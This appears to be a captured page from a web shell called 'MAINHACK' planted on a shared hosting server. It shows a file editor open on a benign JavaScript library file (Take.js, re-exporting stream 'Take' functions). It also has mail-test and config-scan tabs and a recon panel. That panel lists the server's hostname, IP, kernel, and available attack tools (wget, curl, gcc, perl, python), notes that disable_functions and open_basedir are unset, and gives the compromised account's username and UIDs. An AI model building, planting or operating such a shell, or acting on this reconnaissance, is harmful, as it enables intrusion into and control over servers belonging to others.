[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Take.js
import * as internal from "./internal/take.js"; /** * @since 2.0.0 * @category symbols */ export const TakeTypeId = internal.TakeTypeId; /** * Creates a `Take` with the specified chunk. * * @since 2.0.0 * @category constructors */ export const chunk = internal.chunk; /** * Creates a failing `Take` with the specified defect. * * @since 2.0.0 * @category constructors */ export const die = internal.die; /** * Creates a failing `Take` with the specified error message. * * @since 2.0.0 * @category constructors */ export const dieMessage = internal.dieMessage; /** * Transforms a `Take<A, E>` to an `Effect<A, E>`. * * @since 2.0.0 * @category destructors */ export const done = internal.done; /** * Represents the end-of-stream marker. * * @since 2.0.0 * @category constructors */ export const end = internal.end; /** * Creates a failing `Take` with the specified error. * * @since 2.0.0 * @category constructors */ export const fail = internal.fail; /** * Creates a failing `Take` with the specified cause. * * @since 2.0.0 * @category constructors */ export const failCause = internal.failCause; /** * Creates an effect from `Effect<A, E, R>` that does not fail, but succeeds with * the `Take<A, E>`. Error from stream when pulling is converted to * `Take.failCause`. Creates a single value chunk. * * @since 2.0.0 * @category constructors */ export const fromEffect = internal.fromEffect; /** * Creates a `Take` from an `Exit`. * * @since 2.0.0 * @category constructors */ export const fromExit = internal.fromExit; /** * Creates effect from `Effect<Chunk<A>, Option<E>, R>` that does not fail, but * succeeds with the `Take<A, E>`. Errors from stream when pulling are converted * to `Take.failCause`, and the end-of-stream is converted to `Take.end`. * * @since 2.0.0 * @category constructors */ export const fromPull = internal.fromPull; /** * Checks if this `take` is done (`Take.end`). * * @since 2.0.0 * @category getters */ export const isDone = internal.isDone; /** * Checks if this `take` is a failure. * * @since 2.0.0 * @category getters */ export const isFailure = internal.isFailure; /** * Checks if this `take` is a success. * * @since 2.0.0 * @category getters */ export const isSuccess = internal.isSuccess; /** * Constructs a `Take`. * * @since 2.0.0 * @category constructors */ export const make = internal.make; /** * Transforms `Take<A, E>` to `Take<B, A>` by applying function `f`. * * @since 2.0.0 * @category mapping */ export const map = internal.map; /** * Folds over the failure cause, success value and end-of-stream marker to * yield a value. * * @since 2.0.0 * @category destructors */ export const match = internal.match; /** * Effectful version of `Take.fold`. * * Folds over the failure cause, success value and end-of-stream marker to * yield an effect. * * @since 2.0.0 * @category destructors */ export const matchEffect = internal.matchEffect; /** * Creates a `Take` with a single value chunk. * * @since 2.0.0 * @category constructors */ export const of = internal.of; /** * Returns an effect that effectfully "peeks" at the success of this take. * * @since 2.0.0 * @category sequencing */ export const tap = internal.tap; //# sourceMappingURL=Take.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344